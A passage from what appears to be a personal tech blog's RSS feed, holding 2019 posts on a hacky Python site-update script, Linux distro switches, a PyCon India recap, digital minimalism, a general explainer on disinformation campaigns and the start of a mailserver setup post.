1381 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
1382 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
1383
1384<span class="c1"># adding an entry to the markdown table</span>
1385<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
1386 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
1387 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1388 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
1389 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
1390 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
1391
1392 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1393 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
1394
1395<span class="c1"># editing the md source in-place</span>
1396<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
1397 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
1398 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
1399 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
1400 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
1401 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
1402 <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
1403
1404
1405<span class="c1"># fetch title and date</span>
1406<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
1407<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
1408<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
1409<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{meta['title']}</span><span class="s2">](</span><span class="si">{url}</span><span class="s2">) | `</span><span class="si">{meta['date']}</span><span class="s2">` |"</span>
1410
1411<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
1412<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
1413</code></pre></div>
1414
1415<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
1416massive hack</strong>. And in the end, that’s my point exactly. It’s very
1417hacky, but the sheer amount I learnt by writing this ~50
1418line script can’t be taught anywhere.</p>
1419
1420<p>This was partially how
1421<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
1422intended to be a script to build my site, but grew into a full-blown
1423Python package. I could’ve just
1424used an off-the-shelf static site generator
1425given that there are <a href="https://staticgen.com">so many</a> of them, but
1426I chose to write one myself.</p>
1427
1428<p>And that just about sums up what I wanted to say. The best and most fun
1429way to learn to code—write hacky scripts. You heard it here.</p>
1430]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
1431they were never weekly and—let’s be honest—they aren’t going to be.
1432These posts are, henceforth, just “Status updates”. The date range can
1433be inferred from the post date.</p>
1434
1435<p>That said, here’s what I’ve been up to!</p>
1436
1437<h2 id="void-linux">Void Linux</h2>
1438
1439<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
1440really. The very comfy <code>apk</code>, ultra mnml system… but having to
1441maintain a chroot for my glibc needs was getting way too painful. And
1442the package updates are so slow! Heck, they’re still on kernel 4.xx on
1443their supposed “bleeding” <code>edge</code> repo.</p>
1444
1445<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
1446I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
1447(-95 mV). Can’t say for sure if there’s a noticeable difference in
1448battery life though. I’ll see if I can run some tests.</p>
1449
1450<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
1451
1452<h2 id="pycon">PyCon</h2>
1453
1454<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
1455
1456<h2 id="this-website">This website</h2>
1457
1458<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
1459using Netlify, though. I used to host my old blog which ran Hugo, there.
1460I was tired of doing this terrible hack to maintain a single repo for
1461both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
1462what I did:</p>
1463
1464<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
1465
1466git push origin master
1467<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
1468git subtree push --prefix build origin gh-pages
1469</code></pre></div>
1470
1471<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
1472by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
1473build</code>. Very pleasant.</p>
1474
1475<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
1476
1477<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
1478window manager written in Nim. I’d taken a break from it for a while
1479because Xlib is such a pain to work with (or I’m just dense). Anyway,
1480I’m planning on getting back to it, with some fresh inspiration from
1481Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
1482
1483<h2 id="other">Other</h2>
1484
1485<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
1486Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
1487started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
1488<a href="/reading">reading log</a>.</p>
1489
1490<p>That’s about it, and I’ll see you—definitely not next week.</p>
1491]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
1492weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
1493It was my first PyCon, <em>and</em> my first ever talk at a major conference!
1494This is an account of the all the cool stuff I saw, people I met and the
1495talks I enjoyed.
1496Forgive the lack of pictures—I prefer living the moment through my
1497eyes. </p>
1498
1499<h2 id="talks">Talks</h2>
1500
1501<p>So much ML! Not that it’s a bad thing, but definitely interesting to
1502note. From what I counted, there were about 17 talks tagged under “Data
1503Science, Machine Learning and AI”. I’d have liked to see more talks
1504discussing security and privacy, but hey, the organizers can only pick
1505from what’s submitted. ;)</p>
1506
1507<p>With that point out of the way, here are some of the talks I really liked:</p>
1508
1509<ul>
1510<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
1511<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
1512<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
1513<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
1514<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
1515keynote</li>
1516</ul>
1517
1518<h2 id="my-talk">My talk (!!!)</h2>
1519
1520<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
1521our smart lock security research. Agreed, it might have been less
1522“hardware” and more of a bug on the server-side, but that’s the thing
1523about IoT right? It’s so multi-faceted, and is an amalgamation of so
1524many different hardware and software stacks. But, anyway…</p>
1525
1526<p>I was reassured by folks after the talk that the silence during Q/A was
1527the “good” kind of silence. Was it really? I’ll never know.</p>
1528
1529<h2 id="some-nice-people-i-met">Some nice people I met</h2>
1530
1531<ul>
1532<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to
1533me about everything from computational biology to the physical
1534implementation of quantum computers.</li>
1535<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my
1536<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
1537awesome.</li>
1538<li><a href="https://twitter.com/h6165">Abhishek</a></li>
1539<li>Pradyun and Vikrant (linked earlier)</li>
1540</ul>
1541
1542<p>And a lot of other people doing really great stuff, whose names I’m
1543forgetting.</p>
1544
1545<h2 id="pictures">Pictures!</h2>
1546
1547<p>It’s not much, and
1548I can’t be bothered to format them like a collage or whatever, so I’ll
1549just dump them here—as is.</p>
1550
1551<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
1552<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
1553<img src="/static/img/me_talking.jpg" alt="me talking" />
1554<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
1555
1556<h2 id="cest-tout">C’est tout</h2>
1557
1558<p>Overall, a great time and a weekend well spent. It was very different
1559from your typical security conference—a lot more <em>chill</em>, if you
1560will. The organizers did a fantastic job and the entire event was put
1561together really well.
1562I don’t have much else to say, but I know for sure that I’ll be
1563there next time.</p>
1564
1565<p>That was PyCon India, 2019.</p>
1566]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
1567subject. But this is inherently different, since it’s <em>my</em> opinion on
1568the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
1569
1570<p>According to me, minimalism can be achieved on two primary fronts –
1571the phone & the computer. Let’s start with the phone. The daily carry.
1572The device that’s on our person from when we get out of bed, till we get
1573back in bed.</p>
1574
1575<h2 id="the-phone">The phone</h2>
1576
1577<p>I’ve read about a lot of methods people employ to curb their phone
1578usage. Some have tried grouping “distracting” apps into a separate
1579folder, and this supposedly helps reduce their usage. Now, I fail to see
1580how this would work, but YMMV. Another technique I see often is using
1581a time governance app—like OnePlus’ Zen Mode—to enforce how much
1582time you spend using specific apps, or the phone itself. I’ve tried this
1583for myself, but I constantly found myself counting down the minutes
1584after which the phone would become usable again. Not helpful.</p>
1585
1586<p>My solution to this is a lot more brutal. I straight up uninstalled the
1587apps that I found myself using too often. There’s a simple principle
1588behind it—if the app has a desktop alternative, like Twitter,
1589Reddit, etc. use that instead. Here’s a list of apps that got nuked from
1590my phone:</p>
1591
1592<ul>
1593<li>Twitter</li>
1594<li>Instagram (an exception, no desktop client)</li>
1595<li>Relay for Reddit</li>
1596<li>YouTube (disabled, ships with stock OOS)</li>
1597</ul>
1598
1599<p>The only non-productive app that I’ve let remain is Clover,
1600a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
1601holds up. I’ve also allowed my personal messaging apps to remain, since
1602removing those would be inconveniencing others.</p>
1603
1604<p>I must admit, I often find myself reaching for my phone out of habit
1605just to check Twitter, only to find that its gone. I also subconsciously
1606tap the place where its icon used to exist (now replaced with my mail
1607client) on my launcher. The only “fun” thing left on my phone to do is
1608read or listen to music. Which is okay, in my opinion.</p>
1609
1610<h2 id="the-computer">The computer</h2>
1611
1612<p>I didn’t do anything too nutty here, and most of the minimalism is
1613mostly aesthetic. I like UIs that get out of the way. </p>
1614
1615<p>My setup right now is just a simple bar at the top showing the time,
1616date, current volume and battery %, along with my workspace indicators.
1617No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
1618try to force myself to not use stuff—after all, I’ve reduced it
1619elsewhere. :)</p>
1620
1621<p>Now the question arises: Is this just a phase, or will I stick to it?
1622What’s going to stop me from heading over to the Play Store and
1623installing those apps back? Well, I never said this was going to be
1624easy. There’s definitely some will power needed to pull this off.
1625I guess time will tell.</p>
1626]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
1627uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
1628since then. Let’s get right into it!</p>
1629
1630<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
1631
1632<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
1633
1634<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
1635<span class="m">3817</span>
1636
1637<span class="c1"># or something in that ballpark</span>
1638</code></pre></div>
1639
1640<p>I’ve been wanting to reduce my system’s package count.</p>
1641
1642<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
1643sane package manager. I did come across Dylan Araps’
1644<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
1645for me (and still relatively new). I finally settled on
1646<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
1647
1648<blockquote>
1649 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
1650 on musl libc and busybox.</p>
1651</blockquote>
1652
1653<p>The installation was a breeze, and I was quite surprised to see WiFi working
1654OOTB. In the past week of my using this distro, the only major hassle I faced
1655was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
1656yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
1657soon. (hint: it involves chroots)</p>
1658
1659<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
1660
1661<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
1662
1663<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
1664– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
1665repository if you’re interested. I’m currently working on packaging Nim too, so
1666keep an eye out for that in the coming week.</p>
1667
1668<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
1669
1670<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
1671going to be speaking at PyCon India about our recent smart lock security
1672research. The conference is happening in Chennai, much to our convenience.
1673If you’re attending too, hit me up on Twitter and we can hang!</p>
1674
1675<h2 id="other">Other</h2>
1676
1677<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
1678strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
1679week, for sure.</p>
1680
1681<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
1682I think I like it? I still find myself coming back to metalcore/deathcore.
1683Here’s a list of artists I discovered (and liked) recently:</p>
1684
1685<ul>
1686<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
1687<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
1688<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
1689<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
1690<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
1691</ul>
1692
1693<p>That’s it for now, I’ll see you next week!</p>
1694
1695<div class="footnotes">
1696<hr />
1697<ol>
1698<li id="fn-1">
1699<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1700</li>
1701</ol>
1702</div>
1703]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
1704and to serve as a log of how I’m using my time. In theory, I will write this post
1705every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
1706a format for this, but it will probably include a quick summary of the work I did,
1707things I read, IRL stuff, etc.</p>
1708
1709<p>With the meta stuff out of the way, here’s what went down last week!</p>
1710
1711<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
1712
1713<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
1714the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
1715It creates a small community of sites and enables sharing of traffic among these sites.
1716The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
1717of those sites are beautiful. Mine pales in comparison.</p>
1718
1719<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
1720called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
1721and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
1722twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
1723
1724<p>Which brings me to the next thing I did this/last week.</p>
1725
1726<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
1727
1728<p>I’m not a fan of the official Python client, because you know, Python is bloat.
1729As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
1730authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
1731It’s not entirely useable as of yet, but it’s definitely getting there, with the help
1732of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
1733
1734<h2 id="other">Other</h2>
1735
1736<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
1737Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
1738It’s pretty good—each episode is only about 30 mins and it hits the sweet spot,
1739delvering both interesting security content and news.</p>
1740
1741<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
1742“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
1743
1744<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
1745easy to pick up. Learning the Cyrillic script will require some relearning, especially
1746with letters like в, н, р, с, etc. that look like English but sound entirely different.
1747I think I’m pretty serious about learning this language—I’ve added the Russian keyboard
1748to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
1749layout to my keyboard map too:</p>
1750
1751<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
1752</code></pre>
1753
1754<p>With that ends my weekly update, and I’ll see you next week!</p>
1755]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
1756According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
1757<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
1758derived from the title of a KGB black propaganda department.</p>
1759
1760<blockquote>
1761 <p>Disinformation is false information spread deliberately to deceive.</p>
1762</blockquote>
1763
1764<p>To fully understand disinformation, especially in the modern age, we need to understand the
1765key factors of any successful disinformation operation:</p>
1766
1767<ul>
1768<li>creating disinformation (what)</li>
1769<li>the motivation behind the op, or its end goal (why)</li>
1770<li>the medium used to disperse the falsified information (how)</li>
1771<li>the actor (who)</li>
1772</ul>
1773
1774<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
1775
1776<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
1777forms—"info op” & “disinfo”.</p>
1778
1779<h2 id="creating-disinformation">Creating disinformation</h2>
1780
1781<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
1782of any disinformation sample is a huge indicator of the level of sophistication of the
1783actor involved, i.e. is it a 12 year old troll or a nation state?</p>
1784
1785<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
1786The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
1787To achieve this, the target — be it an individual, a specific demographic or an entire
1788nation — must be well researched. A deep understanding of the target’s culture, history,
1789geography and psychology is required. It also needs circumstantial and situational awareness,
1790of the target.</p>
1791
1792<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
1793recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
1794
1795<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
1796imagery:</p>
1797
1798<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
1799<p lang="en" dir="ltr">Disinformation.
1800<br><br>
1801The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
1802<br><br>Recontextualisation as threat vector.
1803<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
1804</p>— thaddeus e. grugq (@thegrugq)
1805<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
1806</blockquote>
1807
1808<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
1809
1810<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
1811
1812<p>I like to broadly categorize any info op as either proactive or reactive.
1813Proactively, disinformation is spread with the desire to influence the target
1814either before or during the occurence of an event. This is especially observed
1815during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
1816In offensive information operations, the target’s psychological state can be affected by
1817spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
1818
1819<p>Reactive disinformation is when the actor, usually a nation state in this case,
1820screws up and wants to cover their tracks. A fitting example of this is the case
1821of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
1822eastern Ukraine. This tragic incident has been attributed to Russian-backed
1823separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
1824Russian media is known to have desseminated a number of alternative & some even
1825conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
1826Investigation Team) investigations pointed towards the separatists.
1827The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
1828potentially correct information takes a credibility hit.</p>
1829
1830<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
1831in totalitarian regimes; when the government decides what the media portrays to the
1832masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
1833
1834<blockquote>
1835 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
1836 namely from the United States, and what they have called criminal Hong Kong thugs.
1837 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
1838 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
1839 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
1840 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
1841 …</p>
1842</blockquote>
1843
1844<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
1845
1846<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
1847play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
1848popularity.</p>
1849
1850<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
1851generate activity programmatically via the API, Twitter bots are the go-to choice today for
1852info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
1853to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
1854get realtime insights into what sticks and what doesn’t.
1855The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
1856factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
1857to create discussions about alternative theories.</p>
1858
1859<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
1860actively invest in creating group chats to spread political messages and memes. These parties
1861have volunteers whose sole job is to sit and forward messages.
1862Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
1863this is disinformation without a motive, or the motive is hard to determine simply because
1864the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
1865This is a difficult problem to combat, especially given the nature of the target audience.</p>
1866
1867<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
1868
1869<p>I doubt this requires further elaboration, but in short:</p>
1870
1871<ul>
1872<li>nation states and their intelligence agencies</li>
1873<li>governments, political parties</li>
1874<li>other non/quasi-governmental groups</li>
1875<li>trolls</li>
1876</ul>
1877
1878<p>This essentially sums up the what, why, how and who of disinformation. </p>
1879
1880<h2 id="personal-opsec">Personal OPSEC</h2>
1881
1882<p>This is a fun one. Now, it’s common knowledge that
1883<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
1884afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
1885lead to your OPSEC being compromised.
1886So if you really have to, you can feign activity using disinformation. For example,
1887pick a place, and throw in subtle details pertaining to the weather, local events
1888or regional politics of that place into your disinfo. Assuming this is Twitter, you can
1889tweet stuff like:</p>
1890
1891<ul>
1892<li>“Ugh, when will this hot streak end?!”</li>
1893<li>“Traffic wonky because of the Mardi Gras parade.”</li>
1894<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
1895</ul>
1896
1897<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
1898
1899<p>And please, don’t do this:</p>
1900
1901<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
1902
1903<h2 id="conclusion">Conclusion</h2>
1904
1905<p>The ability to influence someone’s decisions/thought process in just one tweet is
1906scary. There is no simple way to combat disinformation. Social media is hard to control.
1907Just like anything else in cyber, this too is an endless battle between social media corps
1908and motivated actors.</p>
1909
1910<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
1911folks see the truth in a post-truth world.</p>
1912
1913<div class="footnotes">
1914<hr />
1915<ol>
1916<li id="fn-1">
1917<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1918</li>
1919
1920<li id="fn-2">
1921<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1922</li>
1923
1924<li id="fn-3">
1925<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1926</li>
1927
1928<li id="fn-4">
1929<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
1930</li>
1931
1932<li id="fn-5">
1933<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
1934</li>
1935</ol>
1936</div>
1937]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
1938around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
1939I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1940
1941<p>For this attempt, I wanted a simpler approach. I recall how terribly
